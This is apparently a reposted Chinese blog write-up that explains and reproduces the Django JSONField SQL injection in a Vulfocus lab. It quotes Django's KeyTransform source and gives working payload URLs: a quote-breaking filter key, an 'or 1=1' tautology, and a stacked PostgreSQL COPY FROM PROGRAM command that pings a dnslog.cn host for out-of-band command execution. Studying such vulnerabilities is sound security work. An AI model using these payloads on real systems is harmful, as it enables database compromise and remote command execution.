当前位置:   article > 正文

Django JSONField SQL注入漏洞 复现 & 原理分析_django 注入

django 注入

关于这个漏洞前几天看了很多的文章,其实大部分payload是一样的,都是如何去构造,或者去命令执行复现一下,我一开始也是这样去做的,但是这个漏洞是怎么形成的,对我来说可能一知半解,或者说完全不了解,在后面学习的过程中感觉吃力又去补习了别的知识,比如Django的两个基类,ArrayField、JSONField,Json.objects.filter()和QuerySet相关的知识,包括ORM注入等等

1/漏洞原理

PostgreSQL、SQLite3、MySQL、Oracle,在大部分情况下,以上四种数据库都能与Django框架配合工作,Django在对PostgreSQL提供了强大的功能同时,在成本、特性、速度和稳定性方面都做的比较平衡,当然官方也建议该框架配合Postgresql一起使用

相比较MySQL,PostgreSQL支持多种高级数据类型,比如array,MySQL只支持标准类型。同时PostgreSQL支持P地址数据类型、常量、函数调用、JSON和其他NoSQL功能,这让这个关系型数据库也拥有了一些NoSQL的特点,MySQL支持JSON不过不支持其他的NoSQL功能,当然PostgreSQL不只是一个关系型数据库,还支持非关系数据类型JSON

在Django的model.py中定义JSONField:

max_length为最大长度类型,detail存储了可查询的信息

比如,detail中存储了如下的一些信息  

如果我想查询关于ganyu的所有文章呢?

就可以使用Django的QuerySet(Collection为上方定义的类,QuerySet支持部分链式调用,如all接口就可以用于查询所有数据,detail__author中detail是一个JSONField,而下划线后的内容代表着JSON中的键名,而不再是常规QuerySet表示的“外键” )来实现

sganyu = Collection.objects.filter(detail__author='ganyu').all()

那么,如果查询内容含有python的tags的文章呢?构造一个包含python的查询集

sganyu = Collection.objects.filter(detail__tags__contains='python').all()

如何进行查找的呢?在Django中有两个基类,分别是Lookup(用于查找字符串)和Transform(用于转换字段),如以下的例子

参考连接:Lookup API reference | Django documentation | Django (djangoproject.com)

sganyu = Collection.objects.filter(detail__tags__contains='python').all()

__tags对应的是Transform,__contains对应的是'python'

  • __tags对应Transform,表如何去寻找关联的字段,就比如Collection.objects.filter(detail__author='ganyu').all(),就可以表示在author连接的用户表中找到ganyu

  • __contains对应'python',表与后面的值进行对比

以上可以用sql语句理解为where 'users' lookup Transform 'value'

                              也就是select * from xxx where users.username = 'value'

到这里,JSONField用的KeyTransformFactory类返回KeyTransform对象,transform和lookup需要一个名为as_sql的方法用来生成SQL语句,如下

  1. class KeyTransformFactory:
  2. def __init__(self, key_name):
  3. self.key_name = key_name
  4. def __call__(self, *args, **kwargs):
  5. return KeyTransform(self.key_name, *args, **kwargs)
  6. class KeyTransform(Transform):
  7. operator = '->'
  8. nested_operator = '#>'
  9. def __init__(self, key_name, *args, **kwargs):
  10. super().__init__(*args, **kwargs)
  11. self.key_name = key_name
  12. def as_sql(self, compiler, connection):
  13. key_transforms = [self.key_name]
  14. previous = self.lhs
  15. while isinstance(previous, KeyTransform):
  16. key_transforms.insert(0, previous.key_name)
  17. previous = previous.lhs
  18. lhs, params = compiler.compile(previous)
  19. if len(key_transforms) > 1:
  20. return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
  21. try:
  22. int(self.key_name)
  23. except ValueError:
  24. lookup = "'%s'" % self.key_name
  25. else:
  26. lookup = "%s" % self.key_name
  27. return "(%s %s %s)" % (lhs, self.operator, lookup), params

也就是  

WHERE (field->'[key_name]') = 'value'

当key_name为用户可控时,因此闭合该语句尝试回显进行注入,造成sql注入

但是通常对于detail__author来说,用户无法去控制只能控制其中的值,也就是ganyu,除非我们可以控制filter方法的参数名,比如

Collection.objects.filter(**{"""detail__author'='"a"') OR 1=1 OR('b""":'x',})

2/漏洞复现

复现环境

Vulfocus 漏洞威胁分析平台

直奔主题就好

URL:http://123.58.236.76:56873/admin/vuln/collection/

payload:

http://123.58.236.76:56873/admin/vuln/collection/?detail__a%27b=123

实则,执行的语句为

Collection.objects.filter(**dict("detail__a'b": '1')).all() 

其实做到这里,flag也就出来了

我们可以尝试让它闭合为真

payload:

http://123.58.236.76:56873/admin/vuln/collection/?detail__a%27)%3d%271%27%20or%201%3d1--%20

再结合CVE-2019-9193尝试进行命令注入,构造url如下

利用网址:DNSLog Platform

payload:

http://123.58.236.76:56873/admin/vuln/collection/?detail__a')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping 3lagr6.dnslog.cn
'--%20 

芜湖,寄了,理应是可以在dnslog.cn中检测到流量的

3/总结

自己还是太菜了

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/269588
推荐阅读
相关标签
  

闽ICP备14008679号